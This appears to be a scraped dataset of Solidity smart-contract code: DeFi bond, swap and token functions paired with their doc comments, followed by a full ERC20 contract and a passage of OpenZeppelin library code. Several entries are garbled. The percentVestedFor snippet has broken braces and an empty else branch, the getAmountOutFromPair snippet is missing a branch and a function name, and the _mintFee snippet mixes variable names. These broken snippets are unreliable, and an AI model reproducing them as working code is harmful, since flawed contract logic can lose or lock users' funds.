_amount.sub(fee); } require( payout >= 10 ** payoutToken.decimals() / 100, "Bond too small" ); // must be > 0.01 payout token ( underflow protection ) require( payout <= maxPayout(), "Bond too large"); // size protection because there is no slippage // total debt is increased totalDebt = totalDebt.add( value ); require( totalDebt <= terms.maxDebt, "Max capacity reached" ); // depositor info is stored bondInfo[ _depositor ] = Bond({ payout: bondInfo[ _depositor ].payout.add( payout ), vesting: terms.vestingTerm, lastBlock: block.number, truePricePaid: trueBondPrice() }); totalPrincipalBonded = totalPrincipalBonded.add(_amount); // total bonded increased totalPayoutGiven = totalPayoutGiven.add(payout); // total payout increased payoutSinceLastSubsidy = payoutSinceLastSubsidy.add( payout ); // subsidy counter increased principalToken.approve( address(customTreasury), _amount ); if(feeInPayout) { principalToken.safeTransferFrom( msg.sender, address(this), _amount ); customTreasury.deposit( address(principalToken), _amount, payout.add(fee) ); } else { principalToken.safeTransferFrom( msg.sender, address(this), _amount.add(fee) ); customTreasury.deposit( address(principalToken), _amount, payout ); } if ( fee != 0 ) { // fee is transferred to dao if(feeInPayout) { payoutToken.safeTransfer(olympusTreasury, fee); } else { principalToken.safeTransfer( olympusTreasury, fee ); } } // indexed events are emitted emit BondCreated( _amount, payout, block.number.add( terms.vestingTerm ) ); emit BondPriceChanged( _bondPrice(), debtRatio() ); adjust(); // control variable is adjusted return payout; } /** * @notice redeem bond for user * @return uint */ function redeem(address _depositor) external returns (uint) { Bond memory info = bondInfo[ _depositor ]; uint percentVested = percentVestedFor( _depositor ); // (blocks since last interaction / vesting term remaining) if ( percentVested >= 10000 ) { // if fully vested delete bondInfo[ _depositor ]; // delete user info emit BondRedeemed( _depositor, info.payout, 0 ); // emit bond data payoutToken.safeTransfer( _depositor, info.payout ); return info.payout; } else { // if unfinished // calculate payout vested uint payout = info.payout.mul( percentVested ).div( 10000 ); // store updated deposit info bondInfo[ _depositor ] = Bond({ payout: info.payout.sub( payout ), vesting: info.vesting.sub( block.number.sub( info.lastBlock ) ), lastBlock: block.number, truePricePaid: info.truePricePaid }); emit BondRedeemed( _depositor, payout, bondInfo[ _depositor ].payout ); payoutToken.safeTransfer( _depositor, payout ); return payout; } } /* ======== INTERNAL HELPER FUNCTIONS ======== */ /** * @notice makes incremental adjustment to control variable */ function adjust() internal { uint blockCanAdjust = adjustment.lastBlock.add( adjustment.buffer ); if( adjustment.rate != 0 && block.number >= blockCanAdjust ) { uint initial = terms.controlVariable; if ( adjustment.add ) { terms.controlVariable = terms.controlVariable.add( adjustment.rate ); if ( terms.controlVariable >= adjustment.target ) { adjustment.rate = 0; } } else { terms.controlVariable = terms.controlVariable.sub( adjustment.rate ); if ( terms.controlVariable <= adjustment.target ) { adjustment.rate = 0; } } adjustment.lastBlock = block.number; emit ControlVariableAdjustment( initial, terms.controlVariable, adjustment.rate, adjustment.add ); } } /** * @notice reduce total debt */ function decayDebt() internal { totalDebt = totalDebt.sub( debtDecay() ); lastDecay = block.number; } /** * @notice calculate current bond price and remove floor if above * @return price_ uint */ function _bondPrice() internal returns ( uint price_ ) { price_ = terms.controlVariable.mul( debtRatio() ).div( 10 ** (uint256(payoutToken.decimals()).sub(5)) ); if ( price_ < terms.minimumPrice ) { price_ = terms.minimumPrice; } else if ( terms.minimumPrice != 0 ) { terms.minimumPrice = 0; } } /* ======== VIEW FUNCTIONS ======== */ /** * @notice calculate current bond premium * @return price_ uint */ function bondPrice() public view returns ( uint price_ ) { price_ = terms.controlVariable.mul( debtRatio() ).div( 10 ** (uint256(payoutToken.decimals()).sub(5)) ); if ( price_ < terms.minimumPrice ) { price_ = terms.minimumPrice; } } /** * @notice calculate true bond price a user pays * @return price_ uint */ function trueBondPrice() public view returns ( uint price_ ) { price_ = bondPrice().add(bondPrice().mul( currentOlympusFee() ).div( 1e6 ) ); } /** * @notice determine maximum bond size * @return uint */ function maxPayout() public view returns ( uint ) { return payoutToken.totalSupply().mul( terms.maxPayout ).div( 100000 ); } /** * @notice calculate user's interest due for new bond, accounting for Olympus Fee. If fee is in payout then takes in the already calcualted value. If fee is in principal token than takes in the amount of principal being deposited and then calculautes the fee based on the amount of principal and not in terms of the payout token * @param _value uint * @return _payout uint * @return _fee uint */ function payoutFor( uint _value ) public view returns ( uint _payout, uint _fee) { if(feeInPayout) { uint total = FixedPoint.fraction( _value, bondPrice() ).decode112with18().div( 1e11 ); _fee = total.mul( currentOlympusFee() ).div( 1e6 ); _payout = total.sub(_fee); } else { _fee = _value.mul( currentOlympusFee() ).div( 1e6 ); _payout = FixedPoint.fraction( customTreasury.valueOfToken(address(principalToken), _value.sub(_fee)), bondPrice() ).decode112with18().div( 1e11 ); } } /** * @notice calculate current ratio of debt to payout token supply * @notice protocols using Olympus Pro should be careful when quickly adding large %s to total supply * @return debtRatio_ uint */ function debtRatio() public view returns ( uint debtRatio_ ) { debtRatio_ = FixedPoint.fraction( currentDebt().mul( 10 ** payoutToken.decimals() ), payoutToken.totalSupply() ).decode112with18().div( 1e18 ); } /** * @notice calculate debt factoring in decay * @return uint */ function currentDebt() public view returns ( uint ) { return totalDebt.sub( debtDecay() ); } /** * @notice amount to decay total debt by * @return decay_ uint */ function debtDecay() public view returns ( uint decay_ ) { uint blocksSinceLast = block.number.sub( lastDecay ); decay_ = totalDebt.mul( blocksSinceLast ).div( terms.vestingTerm ); if ( decay_ > totalDebt ) { decay_ = totalDebt; } } /** * @notice calculate how far into vesting a depositor is * @param _depositor address * @return percentVested_ uint */ function percentVestedFor( address _depositor ) public view returns ( uint percentVested_ ) { Bond memory bond = bondInfo[ _depositor ]; uint blocksSinceLast = block.number.sub( bond.lastBlock ); uint vesting = bond.vesting; if ( vesting > 0 ) { percentVested_ = blocksSinceLast.mul( 10000 ).div( vesting ); } else { percentVested_ = 0; } } /** * @notice calculate amount of payout token available for claim by depositor * @param _depositor address * @return pendingPayout_ uint */ function pendingPayoutFor( address _depositor ) external view returns ( uint pendingPayout_ ) { uint percentVested = percentVestedFor( _depositor ); uint payout = bondInfo[ _depositor ].payout; if ( percentVested >= 10000 ) { pendingPayout_ = payout; } else { pendingPayout_ = payout.mul( percentVested ).div( 10000 ); } } /** * @notice current fee Olympus takes of each bond * @return currentFee_ uint */ function currentOlympusFee() public view returns( uint currentFee_ ) { uint tierLength = feeTiers.length; for(uint i; i < tierLength; i++) { if(totalPrincipalBonded < feeTiers[i].tierCeilings || i == tierLength - 1 ) { return feeTiers[i].fees; } } } }
calculate how far into vesting a depositor is _depositor address return percentVested_ uint/
function percentVestedFor( address _depositor ) public view returns ( uint percentVested_ ) { Bond memory bond = bondInfo[ _depositor ]; uint blocksSinceLast = block.number.sub( bond.lastBlock ); uint vesting = bond.vesting; if ( vesting > 0 ) { percentVested_ = blocksSinceLast.mul( 10000 ).div( vesting ); percentVested_ = 0; } } else { }
33,442
./partial_match/56/0xba3141Aba8247Bb46d6f1a15770df227de2dF5e5/sources/ErnteSwapBEP20.sol
if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k)
function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) { address feeTo = IErnteSwapFactory(factory).feeTo(); feeOn = feeTo != address(0); if (feeOn) { if (_kLast != 0) { uint256 rootK = SafeMath.sqrt(uint256(_reserve0).mul(_reserve1)); uint256 rootKLast = SafeMath.sqrt(_kLast); if (rootK > rootKLast) { uint256 numerator = totalSupply.mul(rootK.sub(rootKLast)); uint256 denominator = rootK.mul(5).add(rootKLast); uint256 liquidity = numerator / denominator; if (liquidity > 0) _mint(feeTo, liquidity); } } kLast = 0; } }
11,059,572
./partial_match/42/0xE230251D53D04DA2DbaBaEcA92F59E1E8d7c7064/sources/_contracts/JoysNFTMinning.sol
Add a new lp to the pool. Can only be called by the owner.
function add(uint256 _allocPoint, bool _withWeapon, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > bonusBeginBlock? block.number : bonusBeginBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push(PoolInfo({ point: 0, withWeapon: _withWeapon, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accJoysPerShare: 0 })); }
3,475,710
./partial_match/1/0x74911b2B9192c0DA4171C7a7Bb48b02Af9365797/sources/WOLFYINU.sol
Sets `amount` as the allowance of `spender` over the `owner` s tokens. This internal function is equivalent to `approve`, and can be used to e.g. set automatic allowances for certain subsystems, etc. Emits an {Approval} event. Requirements: - `owner` cannot be the zero address. - `spender` cannot be the zero address./
function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "BEP20: approve from the zero address"); require(spender != address(0), "BEP20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); }
4,395,541
./full_match/56/0xab84Cd8946F4589c2342B733C908cc84d2eCEd1e/sources/contracts/E-RON.sol
method which allows the owner to unblacklist an address addr - the address to unblacklist only callable by the owner only callable if the token is not paused only callable if the token supports blacklisting only callable if the address is blacklisted/
function removeFromBlacklist(address addr) external onlyOwner whenNotPaused { LibCommon.validateAddress(addr); if (!isBlacklistEnabled()) { revert BlacklistNotEnabled(); } if (!_isBlacklisted[addr]) { revert AddrAlreadyUnblacklisted(addr); } delete _isBlacklisted[addr]; emit UserUnBlacklisted(addr); }
3,252,276
./full_match/40/0xAdD4aba2E0C5919A8dA2E061F85edEDaB9Bc5d91/sources/contracts/ZappyBnbTlos.sol
Modular function to set the wrapped to bnb path
function setWrappedToLp1Path(address[] memory _path) external onlyAdmin { require (_path[0] == wrapped && _path[_path.length - 1] == bnb, "!path"); wrappedToLp1Path = _path; emit SetWrappedToLp1Path(_path); }
9,545,106
./partial_match/1/0x926C777c091a5A070dC24ac94fF498b5a556f92A/sources/contracts/periphery/SmardexRouter.sol
@inheritdoc ISmardexRouter fetch data
function getAmountOutFromPair( uint256 _amountIn, address _tokenIn, address _tokenOut ) external view returns ( uint256 amountOut_, uint256 newReserveIn_, uint256 newReserveOut_, uint256 newFictiveReserveIn_, uint256 newFictiveReserveOut_ ) { SmardexLibrary.GetAmountParameters memory _param; _param.amount = _amountIn; ISmardexPair _pair = ISmardexPair(ISmardexFactory(factory).getPair(_tokenIn, _tokenOut)); require(address(_pair) != address(0), "SmarDexRouter: INVALID_TOKENS"); uint256 _priceAverageLastTimestamp; if (_tokenIn == _pair.token0()) { (_param.reserveIn, _param.reserveOut) = _pair.getReserves(); (_param.fictiveReserveIn, _param.fictiveReserveOut) = _pair.getFictiveReserves(); (_param.priceAverageIn, _param.priceAverageOut, _priceAverageLastTimestamp) = _pair.getPriceAverage(); (_param.reserveOut, _param.reserveIn) = _pair.getReserves(); (_param.fictiveReserveOut, _param.fictiveReserveIn) = _pair.getFictiveReserves(); (_param.priceAverageOut, _param.priceAverageIn, _priceAverageLastTimestamp) = _pair.getPriceAverage(); } _param.fictiveReserveIn, _param.fictiveReserveOut, _priceAverageLastTimestamp, _param.priceAverageIn, _param.priceAverageOut, block.timestamp ); (amountOut_, newReserveIn_, newReserveOut_, newFictiveReserveIn_, newFictiveReserveOut_) = SmardexLibrary .getAmountOut(_param); }
4,280,033
pragma solidity ^0.4.24; import "@0x/contracts-utils/contracts/src/LibBytes.sol"; import "@0x/contracts-utils/contracts/src/SafeMath.sol"; import "./interfaces/IERC20Token.sol"; contract ERC20Token is IERC20Token, SafeMath { using LibBytes for bytes; // EXTERNAL FUNCTIONS constructor() public { _totalSupply = INITIAL_SUPPLY; _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } /// @dev Sends `value` amount of tokens to account `to` from account `msg.sender`. /// @param to The address of the tokens recipient. /// @param value The amount of tokens to be transferred. /// @return True if transfer was successful. function transfer(address to, uint256 value) external returns (bool) { _transfer(msg.sender, to, value); return true; } /// @dev Sends `value` amount of tokens to account `to` from account `from` if enough amount of /// tokens are approved by account `from` to spend by account `msg.sender`. /// @param from The address of the tokens sender. /// @param to The address of the tokens recipient. /// @param value The amount of tokens to be transferred. /// @return True if transfer was successful. function transferFrom(address from, address to, uint256 value) external returns (bool) { _decreaseAllowance(from, msg.sender, value); _transfer(from, to, value); return true; } /// @dev Approves account with address `spender` to spend `value` amount of tokens on behalf of account `msg.sender`. /// Beware that changing an allowance with this method brings the risk that someone may use both the old /// and the new allowance by an unfortunate transaction ordering. One possible solution to mitigate this /// rare condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: /// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 /// @param spender Address which will be allowed to spend the tokens. /// @param value Amount of tokens to allow to be spent. /// @return True if approve was successful. function approve(address spender, uint256 value) external returns (bool) { _allowances[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /// @dev Increases the amount of tokens that account `msg.sender` allowed to spend by account `spender`. /// Method approve() should be called when _allowances[spender] == 0. To decrement allowance /// it is better to use this function to avoid 2 calls (and waiting until the first transaction is mined). /// @param spender The address from which the tokens can be spent. /// @param value The amount of tokens to increase the allowance by. /// @return True if approve was successful. function increaseAllowance(address spender, uint256 value) external returns (bool) { require(spender != address(0)); _increaseAllowance(msg.sender, spender, value); return true; } /// @dev Decreases the amount of tokens that account `msg.sender` allowed to spend by account `spender`. /// Method approve() should be called when _allowances[spender] == 0. To decrement allowance /// it is better to use this function to avoid 2 calls (and waiting until the first transaction is mined). /// @param spender The address from which the tokens can be spent. /// @param value The amount of tokens to decrease the allowance by. /// @return True if approve was successful. function decreaseAllowance(address spender, uint256 value) external returns (bool) { require(spender != address(0)); _decreaseAllowance(msg.sender, spender, value); return true; } // EXTERNAL FUNCTIONS (VIEW) /// @dev Returns total amount of supplied tokens. /// @return Total amount of supplied tokens. function totalSupply() external view returns (uint256) { return _totalSupply; } /// @dev Returns the balance of account with address `owner`. /// @param owner The address from which the balance will be retrieved. /// @return Amount of tokens hold by account with address `owner`. function balanceOf(address owner) external view returns (uint256) { return _balances[owner]; } /// @dev Returns the amount of tokens hold by account `owner` and approved to spend by account `spender`. /// @param owner The address of the account owning tokens. /// @param spender The address of the account able to transfer the tokens owning by account `owner`. /// @return Amount of tokens allowed to spend. function allowance(address owner, address spender) external view returns (uint256) { return _allowances[owner][spender]; } // INTERNAL FUNCTIONS /// @dev Transfers tokens from account with address `from` to account with address `to`. /// @param from The address of the tokens sender. /// @param to The address of the tokens recipient. /// @param value The amount of tokens to be transferred. function _transfer(address from, address to, uint256 value) internal { require(value > 0 && value <= _balances[from]); _balances[from] = safeSub(_balances[from], value); _balances[to] = safeAdd(_balances[to], value); emit Transfer(from, to, value); } /// @dev Increases the amount of tokens that account `owner` allowed to spend by account `spender`. /// Method approve() should be called when _allowances[spender] == 0. To decrement allowance /// it is better to use this function to avoid 2 calls (and waiting until the first transaction is mined). /// @param owner The address which owns the tokens. /// @param spender The address from which the tokens can be spent. /// @param value The amount of tokens to increase the allowance by. function _increaseAllowance(address owner, address spender, uint256 value) internal { require(value > 0); _allowances[owner][spender] = safeAdd(_allowances[owner][spender], value); emit Approval(owner, spender, _allowances[owner][spender]); } /// @dev Decreases the amount of tokens that account `owner` allowed to spend by account `spender`. /// Method approve() should be called when _allowances[spender] == 0. To decrement allowance /// it is better to use this function to avoid 2 calls (and waiting until the first transaction is mined). /// @param owner The address which owns the tokens. /// @param spender The address from which the tokens can be spent. /// @param value The amount of tokens to decrease the allowance by. function _decreaseAllowance(address owner, address spender, uint256 value) internal { require(value > 0 && value <= _allowances[owner][spender]); _allowances[owner][spender] = safeSub(_allowances[owner][spender], value); emit Approval(owner, spender, _allowances[owner][spender]); } /// @dev Internal function that mints specified amount of tokens and assigns it to account `receiver`. /// This encapsulates the modification of balances such that the proper events are emitted. /// @param receiver The address that will receive the minted tokens. /// @param value The amount of tokens that will be minted. function _mint(address receiver, uint256 value) internal { require(receiver != address(0)); require(value > 0); _balances[receiver] = safeAdd(_balances[receiver], value); _totalSupply = safeAdd(_totalSupply, value); emit Transfer(address(0), receiver, value); } /// @dev Internal function that burns specified amount of tokens of a given address. /// @param burner The address from which tokens will be burnt. /// @param value The amount of tokens that will be burnt. function _burn(address burner, uint256 value) internal { require(burner != address(0)); require(value > 0 && value <= _balances[burner]); _balances[burner] = safeSub(_balances[burner], value); _totalSupply = safeSub(_totalSupply, value); emit Transfer(burner, address(0), value); } // FIELDS uint256 internal _totalSupply; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) internal _allowances; // Amount of initially supplied tokens is constant and equals to 1,000,000,000 uint256 private constant INITIAL_SUPPLY = 10**27; }
Sends `value` amount of tokens to account `to` from account `from` if enough amount of tokens are approved by account `from` to spend by account `msg.sender`. from The address of the tokens sender. to The address of the tokens recipient. value The amount of tokens to be transferred. return True if transfer was successful.
function transferFrom(address from, address to, uint256 value) external returns (bool) { _decreaseAllowance(from, msg.sender, value); _transfer(from, to, value); return true; }
12,796,313
./full_match/1/0x96a7c18650DEDf9E76355f3f0458B027B789e201/sources/localhost/presale.sol
Close presale if threshold is reached/
function close() external onlyOwner { require(reached(), "threshold is not reached"); closed = true; }
9,776,493
/* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.5.5; import "../src/libs/LibExchangeRichErrorDecoder.sol"; // solhint-disable no-empty-blocks contract TestLibExchangeRichErrorDecoder { /// @dev Decompose an ABI-encoded SignatureError. /// @param encoded ABI-encoded revert error. /// @return errorCode The error code. /// @return signerAddress The expected signer of the hash. /// @return signature The full signature. function decodeSignatureError(bytes memory encoded) public pure returns ( LibExchangeRichErrors.SignatureErrorCodes errorCode, bytes32 hash, address signerAddress, bytes memory signature ) { return LibExchangeRichErrorDecoder.decodeSignatureError(encoded); } /// @dev Decompose an ABI-encoded SignatureValidatorError. /// @param encoded ABI-encoded revert error. /// @return signerAddress The expected signer of the hash. /// @return signature The full signature bytes. /// @return errorData The revert data thrown by the validator contract. function decodeEIP1271SignatureError(bytes memory encoded) public pure returns ( address verifyingContractAddress, bytes memory data, bytes memory signature, bytes memory errorData ) { return LibExchangeRichErrorDecoder.decodeEIP1271SignatureError(encoded); } /// @dev Decompose an ABI-encoded SignatureValidatorNotApprovedError. /// @param encoded ABI-encoded revert error. /// @return signerAddress The expected signer of the hash. /// @return validatorAddress The expected validator. function decodeSignatureValidatorNotApprovedError(bytes memory encoded) public pure returns ( address signerAddress, address validatorAddress ) { return LibExchangeRichErrorDecoder.decodeSignatureValidatorNotApprovedError(encoded); } /// @dev Decompose an ABI-encoded SignatureWalletError. /// @param encoded ABI-encoded revert error. /// @return errorCode The error code. /// @return signerAddress The expected signer of the hash. /// @return signature The full signature bytes. /// @return errorData The revert data thrown by the validator contract. function decodeSignatureWalletError(bytes memory encoded) public pure returns ( bytes32 hash, address signerAddress, bytes memory signature, bytes memory errorData ) { return LibExchangeRichErrorDecoder.decodeSignatureWalletError(encoded); } /// @dev Decompose an ABI-encoded OrderStatusError. /// @param encoded ABI-encoded revert error. /// @return orderHash The order hash. /// @return orderStatus The order status. function decodeOrderStatusError(bytes memory encoded) public pure returns ( bytes32 orderHash, LibOrder.OrderStatus orderStatus ) { return LibExchangeRichErrorDecoder.decodeOrderStatusError(encoded); } /// @dev Decompose an ABI-encoded OrderStatusError. /// @param encoded ABI-encoded revert error. /// @return errorCode Error code that corresponds to invalid maker, taker, or sender. /// @return orderHash The order hash. /// @return contextAddress The maker, taker, or sender address function decodeExchangeInvalidContextError(bytes memory encoded) public pure returns ( LibExchangeRichErrors.ExchangeContextErrorCodes errorCode, bytes32 orderHash, address contextAddress ) { return LibExchangeRichErrorDecoder.decodeExchangeInvalidContextError(encoded); } /// @dev Decompose an ABI-encoded FillError. /// @param encoded ABI-encoded revert error. /// @return errorCode The error code. /// @return orderHash The order hash. function decodeFillError(bytes memory encoded) public pure returns ( LibExchangeRichErrors.FillErrorCodes errorCode, bytes32 orderHash ) { return LibExchangeRichErrorDecoder.decodeFillError(encoded); } /// @dev Decompose an ABI-encoded OrderEpochError. /// @param encoded ABI-encoded revert error. /// @return makerAddress The order maker. /// @return orderSenderAddress The order sender. /// @return currentEpoch The current epoch for the maker. function decodeOrderEpochError(bytes memory encoded) public pure returns ( address makerAddress, address orderSenderAddress, uint256 currentEpoch ) { return LibExchangeRichErrorDecoder.decodeOrderEpochError(encoded); } /// @dev Decompose an ABI-encoded AssetProxyExistsError. /// @param encoded ABI-encoded revert error. /// @return assetProxyId Id of asset proxy. /// @return assetProxyAddress The address of the asset proxy. function decodeAssetProxyExistsError(bytes memory encoded) public pure returns ( bytes4 assetProxyId, address assetProxyAddress) { return LibExchangeRichErrorDecoder.decodeAssetProxyExistsError(encoded); } /// @dev Decompose an ABI-encoded AssetProxyDispatchError. /// @param encoded ABI-encoded revert error. /// @return errorCode The error code. /// @return orderHash Hash of the order being dispatched. /// @return assetData Asset data of the order being dispatched. function decodeAssetProxyDispatchError(bytes memory encoded) public pure returns ( LibExchangeRichErrors.AssetProxyDispatchErrorCodes errorCode, bytes32 orderHash, bytes memory assetData ) { return LibExchangeRichErrorDecoder.decodeAssetProxyDispatchError(encoded); } /// @dev Decompose an ABI-encoded AssetProxyTransferError. /// @param encoded ABI-encoded revert error. /// @return orderHash Hash of the order being dispatched. /// @return assetData Asset data of the order being dispatched. /// @return errorData ABI-encoded revert data from the asset proxy. function decodeAssetProxyTransferError(bytes memory encoded) public pure returns ( bytes32 orderHash, bytes memory assetData, bytes memory errorData ) { return LibExchangeRichErrorDecoder.decodeAssetProxyTransferError(encoded); } /// @dev Decompose an ABI-encoded NegativeSpreadError. /// @param encoded ABI-encoded revert error. /// @return leftOrderHash Hash of the left order being matched. /// @return rightOrderHash Hash of the right order being matched. function decodeNegativeSpreadError(bytes memory encoded) public pure returns ( bytes32 leftOrderHash, bytes32 rightOrderHash ) { return LibExchangeRichErrorDecoder.decodeNegativeSpreadError(encoded); } /// @dev Decompose an ABI-encoded TransactionError. /// @param encoded ABI-encoded revert error. /// @return errorCode The error code. /// @return transactionHash Hash of the transaction. function decodeTransactionError(bytes memory encoded) public pure returns ( LibExchangeRichErrors.TransactionErrorCodes errorCode, bytes32 transactionHash ) { return LibExchangeRichErrorDecoder.decodeTransactionError(encoded); } /// @dev Decompose an ABI-encoded TransactionExecutionError. /// @param encoded ABI-encoded revert error. /// @return transactionHash Hash of the transaction. /// @return errorData Error thrown by exeucteTransaction(). function decodeTransactionExecutionError(bytes memory encoded) public pure returns ( bytes32 transactionHash, bytes memory errorData ) { return LibExchangeRichErrorDecoder.decodeTransactionExecutionError(encoded); } /// @dev Decompose an ABI-encoded IncompleteFillError. /// @param encoded ABI-encoded revert error. /// @return orderHash Hash of the order being filled. function decodeIncompleteFillError(bytes memory encoded) public pure returns ( LibExchangeRichErrors.IncompleteFillErrorCode errorCode, uint256 expectedAssetFillAmount, uint256 actualAssetFillAmount ) { return LibExchangeRichErrorDecoder.decodeIncompleteFillError(encoded); } }
Decompose an ABI-encoded IncompleteFillError. encoded ABI-encoded revert error. return orderHash Hash of the order being filled.
function decodeIncompleteFillError(bytes memory encoded) public pure returns ( LibExchangeRichErrors.IncompleteFillErrorCode errorCode, uint256 expectedAssetFillAmount, uint256 actualAssetFillAmount ) { return LibExchangeRichErrorDecoder.decodeIncompleteFillError(encoded); }
1,834,483
// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/GSN/Context.sol pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer( address indexed from, address indexed to, uint256 indexed tokenId ); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval( address indexed owner, address indexed approved, uint256 indexed tokenId ); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll( address indexed owner, address indexed operator, bool approved ); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/IERC721Metadata.sol /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/introspection/ERC165.sol /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/utils/Address.sol /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ string constant private ERR = "Address"; function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * 